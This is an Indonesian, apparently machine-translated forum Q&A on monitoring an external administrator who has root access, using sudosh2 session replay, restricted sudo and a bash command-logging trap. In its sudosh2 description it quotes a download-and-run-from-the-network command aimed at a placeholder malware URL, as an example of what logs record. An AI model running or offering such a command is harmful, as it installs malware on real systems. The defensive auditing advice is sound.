Saya ingin memberikan akses ke root server saya ke administrator sistem eksternal, tetapi saya ingin memastikan untuk memeriksa kembali apa yang dia lakukan ke server saya, misalnya menyalin data yang saya tidak ingin mereka lakukan dan seterusnya. Saya juga ingin melacak file apa pun yang diakses, bahkan hanya dalam baca dan tidak diedit.
Bagaimana saya bisa melakukan itu?
Jawaban:
Percaya, tapi verifikasi!
Lihat sudosh2 . sudosh2 disediakan oleh port FreeBSD. Paket tersedia untuk RedHat dan Ubuntu. Berikut ini deskripsi dari situs web mereka:
Sudosh akan memungkinkan Anda untuk memutar ulang sesi pengguna, yang akan memungkinkan Anda untuk melihat semua input dan output seperti yang dilihat pengguna. Anda melihat segalanya, penekanan tombol, kesalahan ketik, backspaces, apa yang mereka sunting
vi
, output dariwget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
, dll.Dimungkinkan untuk mengirim log sudosh ke syslog, sehingga mereka dapat disimpan pada server syslog pusat dari sistem.
Perhatikan bahwa sudosh2 adalah pengganti sudosh, yang ditinggalkan oleh pembuatnya
Apakah Anda bekerja di lembaga akademis di mana pengguna bersikeras memiliki hak akses superuser? Atau apakah Anda bekerja di perusahaan dan ingin memungkinkan pengguna memiliki hak pengguna super di VM mereka sendiri? Ini mungkin solusi untuk Anda.
sumber
Jangan memberinya akses root. Sebagai gantinya, berikan dia akun pengguna yang tidak diistimewakan dan minta dia melakukan semua pekerjaannya
sudo
, yang akan mencatat semua perintahnya.Ingatlah bahwa jika orang ini memiliki niat buruk dan Anda memberinya hak sudo penuh, dia akan menemukan cara untuk melaksanakan niat buruk itu tanpa perintah itu dicatat. Dalam hal ini, hanya beri dia akses ke perintah khusus yang dia butuhkan untuk melakukan pekerjaannya.
sumber
sudo su -
dan memiliki shell root yang tidak akan dicatat (kecuali Anda memulainya). Ini adalah apa yang biasanya saya ketik ketika saya ingin melakukan lebih dari satu perintah sebagai root dalam sekali jalan, atau jika saya ingin penyelesaian tab pada direktori yang tidak dapat dibaca oleh pengguna normal.sudo su -
jika diinginkan.Saya tidak terbiasa dengan sudosh2, tapi saya meletakkan yang berikut ini di saya
.bashrc
untuk mencatat semua perintah yang saya ketik dibash
shell ke file~/.command_log
:Di atas membuat jebakan
DEBUG
, yang dieksekusi tepat sebelum perintah biasa dijalankan. Thecaller
built-in yang digunakan untuk menguji apakah perintah yang diketik pada shell interaktif atau dijalankan melalui sesuatu seperti.bashrc
. Nilai${BASH_COMMAND}
berisi perintah yang sedang dieksekusi.sumber